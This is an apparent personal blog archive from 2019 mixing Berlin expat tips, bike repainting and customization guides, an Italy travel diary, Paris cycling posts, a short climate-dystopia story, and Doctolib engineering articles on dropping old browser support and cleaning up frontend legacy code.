Liability insurance (called Haftpflichtversicherung): more info here and here. In a nutshell, the 3 ones I saw and heard about repeatedly that are English-friendly and managed through an app are: GetSafe, Coya and PopSure. You can compare others here. Axa is apparently big and has a reputation in Germany. Same for Allianz. Anyway, a decent price is around 50 euros a year.
Household contents insurance (called Hausratversicherung): only if you have valuable items or piece of furniture at home. It also covers bikes.

Misc

Get a bike and read BikeInBerlin.com
Register your bike (other link here)
Go to flea markets or bike flea markets
Get a monthly or yearly public transport ticket. Good to know: with a monthly (and surely a yearly one) subscription, you can bring a friend along on the weekend and on weekdays after 8pm for free.
Read settle-in-berlin.com
Moving? Instead of renting a truck, rent a cargo bike for free

That's it!

Comment repeindre un vélo ?

2019-12-29T17:00:00+01:00

J'ai récemment repeint mon vélo moi-même en blanc. Et ce n'était pas une mince affaire !! C'était la première fois et ce fût riche en leçons ! Petit guide home-made sur comment repeindre son vélo...

Matériel

De quoi poncer

Si comme moi vous passer d'une couleur très sombre à très clair, je vous conseille d'enlever le maximum de peinture pour éviter que les futurs accrocs se voient trop. J'ai personnellement acheté (oui carrément) une ponceuse à bande et 3 bandes à grain 80.

Si vous restez dans les mêmes tons de couleur, il suffira seulement de poncer superficiellement à la main pour que la nouvelle peinture accroche.

Dans les deux cas, je recommande quand même de poncer en partant à minima d'un grain 80 et en allant vers du 200+ (3 ou 4 différents types de grain suffiront largement).

Sous-couche

Très importante, notamment pour assurer une bonne attache de la peinture et éviter la rouille, je recommande l'Apprêt anti-corrosion peinture vélo Spray.Bike pour tout métal.

Peinture

Encore une fois, je recommande les produits de chez Spray.Bike. J'ai personnellement acheté la Peinture pour vélo Spray.Bike BLB London Collection 400 ml.

Vernis

Afin de protéger un minimum la peinture des impacts et de lui rendre un ton moins mat, à nouveau je recommande un produit de chez Spray.Bike, le Vernis pour finitions peinture de vélo Spray.Bike 400 ml.

How to: step by step

Assurez-vous d'être dans un endroit sec non humide où l'air circule et bien éclairé (important pour la peinture). Démontez bien toutes les parties du vélo et séparez le cadre de la fourche. On pourra mettre du scotch pour protéger le boitier de pédalier et éviter ainsi de le démonter. Tout le reste doit être démonté. Dans mon cas, ma fourche est rouillée et bloquée, j'ai donc du la laisser avec le cadre...

1. Poncer

Comme je le disais, partir d'un grain 80 et diminuer la taille de grain progressivement. Enlever un maximum de peinture si vous comptez peindre une couleur claire sur une couleur foncée.

2. Essuyer

Passer un chiffon sec sur toutes les parties poncées pour enlever les résidus et poussières. Alternativement, on peut arroser le vélo mais compter ensuite plusieurs heures de séchage et quand même un coup de chiffon final.

3. Appliquer la sous-couche

J'ai mis une seule sous-couche mais j'aurais du en mettre deux. Premièrement car la contenance de la bombe le permet et deuxièmement pour mieux uniformiser partout. Après coup je me suis rendu compte que j'avais mis très peu de sous-couche sur certaines parties du cadre, et une fois la peinture appliquée, ça se voit. La texture est légèrement différement.

À vaporiser de loin (au moins 20cm), en ayant au préalable secoué la bombe et testé sur du carton (à faire avant chaque couche).

Deux couches donc, appliquée avec au moins 6 heures d'intervalle, bien que les instructions disent que 20 minutes suffisent.

4. Appliquer la peinture

Ici rien de sorcier. Deux couches à nouveau, avec 12 heures d'intervalle. À vaporiser de près (5 à 12cm), en ayant au préalable secoué la bombe et testé sur du carton.

5. Appliquer le vernis

Au choix, une, deux ou trois couches (plus de couches = plus de brillance), espacées de 4 heures. À vaporiser de près (5 à 12 cm), en ayant au préalable secoué la bombe et testé sur du carton.

Et voilà, vous devriez avoir un beau vélo !

Italy

2019-10-13T22:00:00+02:00

I'm just back from a 2-week vacation in Italy. Oh boy there are things to be said about Italy!

Things to know before going there

First off, a few warnings! Roada are race tracks for italians. On the freeway, when they want to take over, they drive as closely as possible behind, occasionally doing headlight flashing. Also, still on freeways, speed limit can drastically change from 130 to 60 in no time where there's road work, and no one seems to pay attention, they barely decrease their speed to 110. Oddly enough though, I saw a shit ton of electronic speed radars.

In cities, anywhere where there's asphalt, cars and scooters will go. Even in the narrowest streets. Don't you dare try to follow what Google Maps says, stick to the wide main roads. Italians mostly drive two kinds of cars: either tiny ones like Smarts, or SUVs. Also, a lot of them just don't give a shit about seatbelts. They'd rather hear the sound that reminds them to fasten it for 10 minutes than actually fasten it (I experienced several car rides with italians in Naples!).

I was shocked by the number of smokers. It's by far worse than in France. People smoke everywhere: train stations (apparently it was not forbidden), houses, and I even saw a bunch a young people smoke in trains (it is forbidden but no ones seems to care). Speaking of trains, there are unreliable. Expect most of them to be between 5 and 10 minutes late all the time.

The density of traffic in cities is incredible. Cars and scooters are everywhere, and pollution must be a serious concern. It smells like gas everywhere. It is not uncommon to find roads with 4 or 6 lanes (2x3) in cities, so no wonder why it's so polluted. Also be prepared to hear horn hooking all the time. I also saw scooters parked on the rightmost lane (not a parking spot at all) alongside the sidewalk, crazy! Likewise, Smarts park perpendicularly to the sidewalks.

A Smart nicely parked.

Helmets for scooter drivers was made mandatory in 2005 or something, but I've seen numerous people without one. Also, at red traffic lights, if there are 3 lanes, italians are gonna make 5 out of them, haha! It saw that in Rome many times.

Public transportation seems to be poorly developed. Even Rome has only 3 metro lines. Trains coming from the suburbs to Naples run once an hour, so plan in advance.

The garbage collection system is also not ideal. It is not uncommon at all to see overfilled street collectors.

Trash management, italian style #1.

Trash managemnt, italian style #2.

Last funny fact: the water tank of toilets is... unusually located.

A classic italian toilet.

Now, let's move on to cities.

Cinque Terre

Cinque Terre is meant to be visited by train or hiking, forget about your car as the roads are narrow, steep, with series of switchbacks. Trains run every 20mins or something between the 5 villages, and the day ticket costs 16 euros. Hiking takes a full day at a relaxed pace (6+ hours).

Pisa

Obligatory picture.

There is not much to do in Pisa, appart from the leaning tower of course. The city center is very beautiful, a lot of streets are car-free, with tons of pedestrians and cyclists. I recommend discovering the city on a bike.

Rome

Trevi: reality.

I highly recommend doing guided tours, as opposed to solo tours, especially when visiting the Vatican museums, the Colosseum and the Roman forum.

Don't buy city passes, it's in most cases cheaper to buy tickets individually.

Prices for the Colosseum.

If you're on a tight schedule as I was, I found this map very helpful when it comes to visiting main highlights efficiently.

Rome highlights in one day

Naples

Funny fact: every night, there are fireworks in the city, usually between 22h and midnight. I asked why and was told that it's to celebrate weddings, parties, etc... anything that's worth celebrating. Regular people do that.

When visiting Pompei, do a guided tour! You'll find plenty just as you walk out of the train station. The one I did was 12 euros per adult for a 2-hour group tour. Official guided tours, located just by the ticket office, were 2 euros more expensive if my memory serves well.

The city of Naples is not very interesting as it is. I recommend spending a day in the city, not more. Make sure to eat the best pizza in town at Gino e Toto Sorbillo. Then, you can visit Mount Vesuvius (reachable by car!), Pompei (train is the most efficent and cheapest way to get there), Sorrento (same train as Pompei) or Capri (take a ferry, it's a 40-ish euro ticket for both way).

That's it! Hope it helps.

Living In Paris: Nuit Blanche Parisienne 2019

2019-10-06T22:00:00+02:00

Hier samedi 5 octobre 2019, à l'occasion de la 18ème édition de la Nuit Blanche à Paris, j'ai pu faire du vélo sur une portion du périphérique entre porte de Pantin et porte de la Vilette, fermée exprès pour l'évènement et ouverte aux piétons et cyclistes.

Portion de périphérique fermée à la circulation

L'évènement a très largement été relayé par les médias en amont, permettant aux gens de s'organiser pour éviter le périphérique, ou mieux ne pas utiliser leur voiture, ainsi que pour faire venir le plus grand nombre.

Voici donc un extrait de cette soirée filmé par mes soins !

Et voici d'autres récits, par d'autres sites :

Comme le dit Isabelle Lesens dans son article cité juste au-dessus, c'est une première expérience en demi-teinte : l'accès y était difficile et le parcours était trop petit. Cela ne m'a tout de même pas empêché de faire plusieurs tours pendant une bonne heure, fasciné par le nombre de personnes et leur enthousiasme. Par ailleurs, une amélioration nette de la qualité de l'air s'est immédiatement faite ressentir et a pu être mesurée par Airparif.

[Carte temps réel] les effets de la fermeture d'une partie du périphérique pour les #NuitBlanche2019 observés en temps réel par @airparif
👉 https://t.co/JbTnsHxNbB pic.twitter.com/URuAinLebU
— Airparif (@Airparif) October 5, 2019

Il ne nous reste plus qu'à espérer que cette expérience se renouvelle et ouvre la réflexion à la transformation du périphérique, voire même sa suppression ?

Living In Paris: La Bible Du Vélotafeur

2019-09-03T23:30:00+02:00

Ceci est la suite de Riding A Bike In Paris.

Cet article a pour but d'être la bible ultime de référence du vélotafeur bobo écolo radin parisien !!! Les livres qu'il faut avoir lu, les films à avoir vu, les chaînes Youtube à suivre, les comptes Twitter à lire, les podcasts à écouter, comment réparer son vélo, les magasins à connaître, des liens à gogo, tout sur le vélotaf à Paris est ici !

Livres

Films

Une petite sélection de films et documentaires sur le vélo à voir et à revoir :

Chaines Youtube, comptes Twitter et podcasts

La vélosphère est petite à Paris et c'est souvent les mêmes têtes qui ressortent un peu partout. Entre militants de la première heure et étudiants amateurs de vidéos en passant par des élus, on trouve de tout.

Observations Cyclistes : Youtube + Twitter
Cinquante Euros : Youtube + Twitter
CyclObs : Youtube + Twitter
Cycliste Urbain : Twitter
Bilook le cycliste : Twitter
Not Just Bikes : Twitter
Paris en Selle : Twitter
Abel Guggenheim : Twitter
Isabelle Lesens : Twitter
Stein van Oosteren : Twitter
Ailes cyclables : Twitter
Paris sans voiture : Twitter
Christophe Najdovski : Twitter
FUB : Twitter
Ras Le Scoot : Twitter
Le Bon Sens c’est le vélo : Twitter
🚲àParis&alive... : Twitter
CycloTransEurope : Twitter
Vélorution Paris IdF : Twitter
135€ : Twitter
Brice Perrin : Twitter
Rayons Libres, un podcast proposé par Abel Guggenheim avec plein d'invités variés. Très intéressant !
Pause Vélo, un autre podcast très sympa (+ le Twitter qui va bien).
Cyclocast, un podcast qui nous vient de Lyon.
Dans la Tête d'un Cycliste

Customization

Peindre son vélo

Il existe une marque qui commercialise des bombes de peinture spéciales pour vélo : Spray.Bike. Cela ne semble pas très dur, il me reste encore à essayer. D'après cette vidéo il faut :

Démonter entièrement le vélo et enlever toutes les pièces du cadre.
Poncer le cadre en partant d'un gros grain (P60 par exemple) et finir avec un grain fin pour éviter les irrégularités dans le poncage (P320 par exemple).
Appliquer une première couche en portant un masque, laisser sécher quelques heures et appliquer une deuxième couche, voire une troisième.

Je mettrai à jour l'article quand j'essaierai.

Entretien

Nettoyer une chaine de vélo

En résumé :

Passer un coup de chiffon sur toute la chaine pour enlever la cambouis
Asperger de dégraissant (WD40 classique ou WD40 BIKE (Amazon)), soit directement sur la chaine soit sur un chiffon, et faire tourner la chaine, en passant les vitesses plusieurs fois.
Compléter le nettoyage en même temps avec une brosse à dents usagée pour bien passer au centre de la chaine, dans les pignons et le pédalier.
Laisser sécher ou essuyer avec un chiffon. Le WD40 n'a pas besoin d'être rincé à l'eau.
Appliquer du lubrifiant (je recommande le SQUIRT CHAIN LUBE 120ML (Amazon), c'est celui que j'ai et j'ai lu un peu partout que c'était le meilleur) dans l'intérieur de la chaine. Autrement dit, sur le haut de la partie basse de la chaine, de façon à ce que le produit soit le plus possible en contact avec les pignons et le pédalier. Faire tourner la chaine et passer les vitesses plusieurs fois.
Essuyer le trop plein de lubrifiant avec un chiffon.
Il est recommandé de laisser plusieurs heures passer entre la lubrification et un usage du vélo.

Lubrification

Tension de la chaîne

En plus d'avoir une chaîne propre bien lubrifiée, il est important de vérifier la tension de la chaîne en permanence si l'on a un fixie ou single speed. Une chaîne sous tendue aura tendance à dérailler ou craquer, trop tendue elle s'abimera et rendra le pédalage moins efficace.

Liens utiles

Shops

www.beastybike.com/ : ils ont des boutiques physiques à Paris mais sont un peu chers
www.lecyclo.com/ : pièces très peu chères, ils ont un magasin avec pignon sur rue à Marseille
www.probikeshop.fr/ : de qualité et relativement peu cher
Le bon vieux Décathlon pour tout ce qui est chambres à air, rustines, etc

Autres

I Was Born In 2100

2019-08-05T23:50:00+02:00

I was born in 2100.

A long time ago, long before I was born, people used to smoke. The very concept of smoking is unknown to many these days, so let me explain. It's as stupid as eating small rocks, or wood maybe. But it's not that. It was dried tobacco leaves. It would hurt a little the first time people would do it, and even make them caugh. But then, as they kept trying, the pain would eventually fade away. After some time, they might even start to feel some joy when doing it. Or maybe they pretended to and forced themselves to believe it. Or maybe it's the social pressure, people did't really why know but they kind of liked it. Or maybe it was the ads in the 70's and 80's. People used to "go on a cigarette break". Except that smoking does your body no good whatsoever. Quite the opposite to be honest. Smoking was killing people so slowly that most people would not even acknowledge it. They would doubt it, refute it.
People were stupid.

A long time ago, long before I was born, people used to move around in big boxes made of steel. They called it a car. Not only did a car take up a lot of space, it also was powered with gasoline (refined crude oil, something that's long gone now). Gas cars used to cause a lot of pollution, especially in big cities. That was bad. Real bad you know. In the 20th century, in less than a few decades, all cities changed and turned into car-centric cities: everything was designed around and for cars, not for humans. People were forced to walk on narrow sidewalks. They also had to endure noise, mostly from passing cars. If that wasn't enough, the only air they could breathe was extremely polluted, causing over 400,000 premature deaths in Europe in 2015.

A long time ago, long before I was born, people used to eat animals. You read it right, A-N-I-fucking-M-A-L-S. Not only wild ones. Actually, most of the eaten animals were raised in farms and fed with antibiotics. Some of them never saw the sunlight. People were slaughtering them: over 60,000,000,000 land animals were killed EVERY SINGLE YEAR in the 2000's. When it comes to sea animals, the figures were much worse... There were the hunters too, pretending to protect the environment and restoring some kind of balance. As if nature needed us for that...

A long time ago, long before I was born, people used to cut down trees (mostly forests) to make room for crop fields... to feed animals which would in turn... feed humans. What a stupidity. No wonder CO2 levels rose exponentially.

A long time ago, long before I was born, people used to worship plastic. Plastic was everywhere, all the time. Single-use plastic was a thing for sure. Plastic bottles, plastic spoons, plastic cups, plastic toys. A shit ton of plastic ended its course in oceans. It played a major role in the decline of sea animals.

A long time ago, long before I was born, people used to care more about jobs than they cared about the environment. Transitioning the car industry from oil to electricity? Too many people said "it's gonna destroy jobs cause electric engines require much less parts and workforce". It's exactly like keeping your job and then the day you retire your house gets burned down versus giving up your job and starting looking for another one but knowning that the day you retire your house will still be there. Jobs vs the Environment.

But all of that is gone now, people don't do that no more. Everyone's fucking dead. Humans. Animals. Forests. Everything is gone. The planet is barely fit to live. Our unsustainable way of life killed us all. Those who remain live harsh lifes. Every day is a fight for survival, for food, for clean water, for power. Most lands people inhabited are underwater now, as the sea level is much higher than in the early 2000's.

It all changed at the end of the last century. The global population was reaching its peak: 10,500,000,000. In less than 20 years, the global average temperature rose by 1.5 Celsius degrees, by far exceeding the worst projections made in the beginning of the century. The Great Global Warming (GGW as they call it these days) was true after all.

Supporting Internet Explorer 11 in 2019

2019-07-15T14:30:00+02:00

Originally published on Medium.

Following the recent publication of A Conspiracy To Kill IE6, we at Doctolib thought we’d in turn unveil our plan to stop supporting not only Internet Explorer 11 but also other outdated desktop browser versions, and help the world move towards a faster and more secure web. Everything that follows took place between March 2019 and July 2019.

In late March 2019 Doctolib had over 80,000 paying customers. They are physicians and specialists working in private practices, hospitals, healthcare centers or even at home. They use all kinds of devices and browsers. Some devices are privately owned, some are provided by employers and some are even shared and used by many people throughout the day. As a consequence, it is impossible for us to predict with certainty what browsers our customers will use.

Moreover, most public healthcare institutions (hospitals, for example) manage their computers like they do in schools or governments. All regular users are not administrators, they only have restricted permissions. They can’t install software or decide which browser they use. Upgrade-wise, their IT departments tend to update the OS and browsers every 1 to 2 years. Privacy is also a much bigger concern for most of them, so they usually favor Firefox over Chrome, and sometimes IE 11 or Edge for compatibility reasons. Last but not least, they’re big on Firefox Extended Support Release (ESR) versions (for a reason, it comes with long term support).

In light of this, here’s what Doctolib’s browser market share looked like in March 2019.

Historical browser market share for Doctolib customers week by week

The graph shows unique browser connections per week. As one can see, Internet Explorer 11 users represent on average between 2.5 and 3.5% of all users. Among our Chrome and Firefox users, some users rely on outdated versions, sometimes more than 4-year-old versions. Same goes for Safari, with pretty stable curves not showing any signs of decline.

Historical Safari browser market share for Doctolib customers day by day up until March 2019

So what’s the big deal?

Cost of supporting old browsers

The more browsers a company decides to support, the more problems it brings. At Doctolib, we identified the following specific problems:

Old browsers only understand ECMAScript 5. Like most modern web applications, we have a lot of JavaScript dependencies. Each dependency upgrade must be checked to make sure it doesn’t contain untranspiled code. That’s time wasted.
Our app is built with Ruby on Rails and React. Our JavaScript code is bundled in two different ways, depending on the files and where in the app it runs: the RoR asset pipeline or Webpack. The code processed by the asset pipeline does not go through Babel, as opposed to the one bundled by Webpack. Therefore we can’t write modern JavaScript in all our JavaScript files yet*. That’s time wasted writing and code reviewing old-fashioned JavaScript *(we have a work-in-progress project for using Babel with RoR).
Our 10,000+ integration tests are executed with the latest version of Chrome. Nonetheless, since we support multiple browsers, we also have a few simple additional integration tests that run on IE11 as well as outdated Edge, Firefox and Safari browsers. These extra tests cost time (developers waiting for CI tests to complete) and money (tests run time on Heroku). They also require extra maintenance.
Last but far from least, we’ve had several production issues in the last 6 months caused by untranspiled NPM dependencies not working in old browsers. That’s user dissatisfaction and time wasted for engineers. Plus, each production issue is immediately followed by a detailed postmortem which oftentimes means a full day of work for an engineer.

On a side note, supporting multiple browsers creates bigger JavaScript bundles because code transpiled through Babel is usually bigger and polyfills take space. It slightly increases compile time, bandwidth consumption, and JavaScript load/parse times.

Knowing this, in a perfect world we’d only support the latest version of each browser, Internet Explorer 11 excluded of course. But that is not possible.

Limitations

Why is it so hard to have all of our customers upgrade their browsers? Why can’t we just display a banner, or send them an email, threatening to drop support for outdated browsers, and eventually do it?

Well, there are many good reasons. First, healthcare professionals are generally not computer savvy. Computers are a tool, a means to them, not an end. They don’t want to have to worry about upgrades or browser versions.

Also, as written in the introductory paragraph, people working in health establishments have no control over what browser they run. Budget and time constraints prevent these organizations from providing their employees with the latest computers, or prevent them from upgrading software on a regular basis. Also, some organizations are more concerned about privacy than others and thus insist on running specific browsers. Finally, some organizations sometimes use Internet Explorer because they also use other websites which require ActiveX for instance.

There are multiple valid reasons for running old and outdated browsers. And multiple reasons for being unable to upgrade regularly. That’s why we can’t just cut off access to these users overnight.

Master Plan (aka Conspiracy)

To kickstart the move towards up-to-date browsers, in March 2019 we came up with a very detailed plan, spanning over several months. When the idea arose for this plan, we were supporting:

Safari 6+
All Edge browsers
Chrome 50+
Firefox 27+
Internet Explorer 11

The ultimate goal is to support only the following browsers and publicly advertise about it:

Safari 12+
Edge 17+
Chrome 50+
Firefox 45+ (version 45 in an ESR)
No Internet Explorer version at all

In other words, we want users of unsupported browsers to be fully aware of that.

How did we set this in motion?

The whole plan is based on displaying a banner at the right time, to the right users, progressively over time. The banner explains that the browser is no longer supported and gives links to Chrome or Firefox upgrade help pages. The banner can be hidden for 5 days before appearing again.

The top red banner we display on outdated browsers

We started off with Safari. Why is that? Users who run Safari most likely run Mac and thus use their own device, meaning they’re admin. Public healthcare centers or hospitals never run Apple devices in France or Germany. Plus Safari users are less than 10% of our users, so we thought it’d be quick to have these users upgrade to a newer version of Safari, or switch to Chrome or Firefox. Over the month of April, once or twice a week we increased the minimum supported version of Safari until we reached 12 (the latest stable version at the time of writing). Every few days, a new batch of users would be shown the banner. First, Safari 6 users would see the banner, then three days later Safari 7 users would also, and so on, until all users of Safari 11 or below saw the banner.

Over time, we could see the number of users for these unsupported versions significantly decreasing, while seeing Safari 12 slowly but surely rising. It did not work as well as expected though, some users probably don’t care too much about seeing a banner that can be closed anyway.

Usage of unsupported Safari versions among Doctolib customers

Next we decided to tackle Firefox users. Here, we needed to be extra cautious since users in hospitals are unlikely to be able to upgrade their browsers. Therefore, to avoid impacting user experience, we decided to do it in two phases. First, we repeated what we had done for Safari users with Firefox users not working in hospitals: progressively increasing the minimum supported version until we reached 45. In the meantime, we sent emails to the hospitals, letting them know that in the coming few weeks we’d stop supporting old Firefox browsers. Only then we started showing them the banner, until all Firefox users below version 45 saw it.

We repeated this process for Edge and Internet Explorer 11 afterwards. Eventually, when all unsupported browsers had the banner displayed, we decreased the time during which it could be hidden across page refreshes from 5 days to an hour.

All along we closely monitored our usage share of web browsers through dashboards and eventually saw usage of all unwanted browsers go downwards, as we expected them to, although not as fast as we predicted.

As it turned out, having our customers working in hospitals upgrade their browsers was much harder than we thought. People and organizations need time to adapt. It’s also our mission as a tech company providing an online service to educate our customers and explain why upgrading software is important.

Usage of IE among Doctolib customers

Usage of ESR Firefox versions among Doctolib customers

Conclusion

Eventually, we reached all the goals we had in terms of browsers we officially support, even though there is a significant portion of our customers still using unsupported browsers. We’ve already committed to repeat this plan in a few months to try to get rid of Firefox browsers below version 50 and Chrome browsers below 60.

What did this plan teach us? First of all, we can’t force users to upgrade their browsers. We can’t decide what they use. They have constraints of their own and we must take them into account. However, good communication and giving them time brings long lasting relationships and builds trust between us and our customers, which is a requirement if we want them to use the right tools.

Also, such an ambitious plan cannot be executed overnight. Internal communication is key and all the relevant departments must be involved as soon as possible, e.g. Customer Service, Account Management, Tech, etc. It works best when everyone is aligned and knows what we are aiming for and why.

Originally published on Medium.

Workout

2019-07-06T16:50:00+02:00

How many reps?

For instance, to build muscle, one should reach muscle failure after 6 to 12 reps.

Source: https://www.missionpossiblefitness.com.au/blog/44-method-behind-the-madness-prescribing-rep-ranges/

More on the topic in these videos (in French), from 5'30 on:

And from 4' on:

How many sets?

3-6 sets seems to be recommended quite often for hypertrophy.

How much rest time between sets?

Hard to find reliable data, and it seems there is no consensus. But for hypertrophy, 30-60 seconds is often cited.

From a second hand regular black bike to a fully customized singlespeed bike

2019-06-24T23:50:00+02:00

Ok so I've been owning a bike for almost four months now, and after cycling over 1,000 km (I do 17 km everyday commuting), it's time for me to customize my bike.

As a reminder, that's what my bike looked like when I bought it.

What I'd like to do is to recreate the same bike I had when I was in South Korea, back in 2016.

More photos: here, here, here and there.

So here we go, here's what I need:

[x] A rear white wheel
[x] A pink tire
[x] A front green wheel
[x] A white tire
[ ] A green chain
[ ] A single speed freewheel
[ ] A white frame
[ ] A green saddle
[ ] Pink grips
[ ] A pink shifter cable housing and a white one

Finding the parts

Rear wheel and tire

When it comes to wheel size standards, it's quite messy... but it's getting better. It seems like the European standard ETRTO is becoming the global norm. My bike has the most common wheel size: 28", also referred to as 700C (French size) and officially called 622 by ETRTO. When I bought my bike, it came with 28mm-wide tires but I deciced to go with thiner ones, thus choosing a 26-622 pink rear tire.

One very important thing to take into account when buying a wheel is the rear frame spacing (entraxe in French). Mine is 130mm, like most 8-speed road bikes.

Finally, one last thing to be cautious about is the kind of cogset you want: freewheel (roue libre) or cassette. As a rule of thumb, the freewheel system is the oldest, and can't exceed 7 speed. But it's also cheaper (parts are cheap) and you can easily switch to singlespeed or fixie, as it's the same system. The freewheel system requires a simple wheel and all is needed is screwing the freewheel (one or many sprockets) on the wheel. On the contrary, a cassette is mounted on a freewheel body (corps de roue libre) that's part of the wheel. Cassettes are supposed to last longer.

Eventually, I decided to go with this 15-622 white freewheel rear wheel that has a 40mm internal width rim. Since I'm switching from a 8-speed cassette system to a 7-speed freewheel, I had to buy a new Shimano shifter, as well as a new chain.

Front wheel and tire

My front frame spacing is 100mm so I needed to find an adequate green wheel which I still have not found so far (UPDATE: see below). Here's what I've found up until now:

Roue avant et arrière fixie single-speed 28 pouces Vertes: I could buy just one but the rim internal width is 30mm and not 40mm as I need.
Roue route - fixie 43mm vert avant: 43mm internal width... not 40
M-WAVE R4022 hollow rim: that's exactly the rim that I need!!! But buying a whole wheel would be so much easier...
Roues à rayons fixie PURE FIX 700C 40MM: braking surface has no pain on it...
Roue Fixie Avant Origin 8 Vert: 42mm internal width...
Mango 700 C Roue avant QUANDO – Vert Noir avec rayons (Deep Section): too little detail, it does not say anything about the frame spacing, plus I don't know if the seller is trustworthy.

Regarding the tire, I'll go with that one.

Yet to buy

~~A front green wheel~~ (updated)
~~A white tire~~ (updated)
A green chain: I need to be careful not to buy the wrong kind. There are two major kinds of chains: 1/2" 3/32" for most multiplespeed bikes and 1/2" 1/8" for BMX, fixies and singlespeed bikes. I currently have a 1/2" 3/32". A change of the type of chain requires a change of cogset and crankset. (updated)
~~A single speed freewheel~~ (updated)
~~A white frame~~ (updated)
~~A green saddle~~ (updated)
~~Pink grips~~ (updated)
~~A pink shifter cable housing and a white one~~ (updated)

UPDATE JUNE 29, 2019

I just received a new parcel in my mailbox: a front green wheel and a white tire!!! YAY!

Turning it into a singlespeed bike: not so easy

First, as I wrote above, I'd need to change the type of chain and use a 1/2" 1/8". Why? Because it's pretty much the standard for fixes and singlespeed bikes. Plus the choices in terms of colors are much wider. And there are more singlespeed freewheels that work with this kind of chain. Then, as a consequence, I'd need to change the cogset and crankset, and remove the derailleur. I could just do it myself with the right tools but for now, it's too much work. I'll just wait until my chain or cogset get too old and damaged and only then will I switch to singlespeed.

Also, and that's good to know, the ratio between speed and ease of pedaling must be taken into account. For instance, say you have a 14 teeth freewheel and a 42 teeth chainring, the ratio would be 42/14=3.

That's it for now. This article will likely be updated in the coming months...

UPDATE OCTOBER 20, 2019

Well, that's it. I've bought everything needed to fully transform my bike, including making it singlespeed. To paint my frame, I followed this tutorial and bought these products: before paint, paint, after paint.

Music

2019-06-18T22:40:00+02:00

A Good Manager

2019-05-14T14:30:00+02:00

Doesn't repeat to others what their team tell them
Doesn't mention names when reporting to their own manager what they've been told
Doesn't put people under pressure without involving themselves
Doesn't complain (unless justifiably) and set an example at all times
Cares about 1 on 1 meetings and avoid postponing them or hijacking them for other purposes
Helps their team members grow and set ambitious personal goals within the company
How to make people work together?
The Bad Boss Guide: How to Scar Your Employees
How to Get Every Email Returned
The Eng Team Handbook (eng-handbook)
The Engineer’s Guide to Career Growth — Advice from My Time at Stripe and Facebook

Source

Regaining control over Doctolib.com frontend

2019-05-14T14:30:00+02:00

Originally published on Medium.

Doctolib has been growing rapidly over the past 5 years, as has our code base. We have been able to deliver numerous features in a timely manner, but oftentimes at the expense of code legibility and simplicity. The year 2018 was for us an opportunity to step back, learn from our mistakes, and set goals in order for us to regain control over our frontend. Specifically, we re-defined technical debt and legacy code and took measures to reduce it so that we could keep growing at an ever-faster rate and continue to ship features that practitioners and patients love.

Identifying pain points

Twice a year a team of people with a strong interest in JavaScript gather to discuss frontend at Doctolib. One person from each feature team is selected to join the meetings. Nevertheless, the meetings are also open to anyone, as long as they express an interest and have proved themselves to be proficient in JavaScript.

In advance of these meetings, we circulate email surveys to all of the software engineers to identify their specific issues and struggles. Below is an extract from the latest survey we sent out in November 2018:

What is your biggest pain point on the frontend stack?

What elements are holding you back? What prevents you from being more effective?
Is there anything you don’t understand/you don’t master? RxJS, recompact, react-form? React context, HOC, …?
Is the directory structure good enough? Does it make sense?
Any tool-related problems? (Prettier, IDE, Chrome DevTools)
Apart from console.log, how do you debug?
Do you know Jest? Do you know how to write JavaScript unit tests?
Do you know what React components we have? Do you know how to use them and what props they expect?

These simple, short questionnaires allow us to gather valuable feedback from all of the engineers. Using them, we are able to identify the most-cited problems and define what legacy means at Doctolib during our bi-annual meetings.

After analyzing the results of these surveys, we usually come up with a new direction and a list of tasks for the following two quarters. These actions are then shared with the rest of the engineers during an all-hands meeting with the entire tech team.

What is legacy code at Doctolib in 2018?

RxJS

When Doctolib was in its early stages, state management for React apps was still very experimental and there was no consensus about which way to go. Two emerging libraries were becoming fashionable: Redux and RxJS. The decision was made to pick RxJS, but it could have just as well been Redux.

Over time, RxJS usage grew and the library was soon imported into every file and used for just about anything and everything: app state management, tiny component states, forms, buttons, AJAX requests, etc.

Why is this legacy now? Well, first of all, RxJS is not entirely legacy but the way it’s being used at Doctolib is. This is mostly because it has been used for everything, although its use cases are normally meant to be very specific and restricted. RxJS also makes unit testing difficult because Observables need to be mocked-up. Reactive programming is not known by many, as indicated on the graph below, therefore it does not help shorten new joiners’ ramp-up time — quite the opposite, to be honest. Our aim is to restrain its use cases to what it was originally intended to be used for: event-based computations and asynchronous sequences of data.

RxJS ranks last among the “other” JavaScript libraries in 2018 [Source].

Recompose/Recompact

At the same time as RxJS was released, another helper library came out: recompose. As recompose was not meeting all of our needs, the project was forked, patched, and renamed as recompact. Once again, it quickly spread across the code base, bringing Higher Order Components everywhere, as well as additional complexity for new joiners.

Why is this legacy now? Most helpers from recompact can be written in vanilla React (recompact.pure or recompact.withProps to name a few). Given that early advocates of recompact at Doctolib left the company a while ago, it became challenging to pass down knowledge and help new joiners get up to speed quickly. Moreover, the original library (recompose) was recently officially deprecated because of an upcoming React feature, Hooks, not forgetting that recompose/recompact rely on the legacy React Context API. We now aim at getting rid of recompact altogether.

jQuery and CoffeeScript

Since the very beginning, jQuery and CoffeeScript have been lying around in the code base. jQuery helped features come to life in no time, bridging the gap between various browsers, oftentimes with poor support for new Web APIs. As for CoffeeScript, it is tightly coupled with Ruby on Rails, our backend, thus it has been there from the beginning.

Why is this legacy now? Starting this year, we only support modern browsers and Internet Explorer 11. Consequently, it does not make any sense to use jQuery when we can write plain JavaScript; and CoffeeScript adds unneeded complexity given that very few people can understand it at a glance, let alone write it.

React unsafe life-cycle methods

Last but not least, we recently deprecated a few React life-cycle methods and helpers, following the maintainers’ advice about unsafe methods. React.StrictMode was recently introduced as a tool to help detect potential issues within an app. We cautiously started adding it in the codebase, to avoid having too many warnings popping up here and there while developing. Here is the list of life-cycle methods or helpers we decided to deprecate early in our codebase: componentWillMount, componentWillReceiveProps, componentWillUpdate and findDOMNode.

Tackling and killing legacy

After agreeing upon what can be defined as legacy, the time comes to actually kill it. The way frontend legacy is handled at Doctolib is always the same; we pretty much stick to MOM: Measure, Optimize and Monitor.

Measuring is done by way of our survey and our own experience while developing. While evaluating the relevance of each pain point collected, we prioritize them according to the number of times they are mentioned. We also assess the feasibility over the short-term: short and easy tasks tend to move up on the list of actions. Finally, these actions become Tech Tasks.

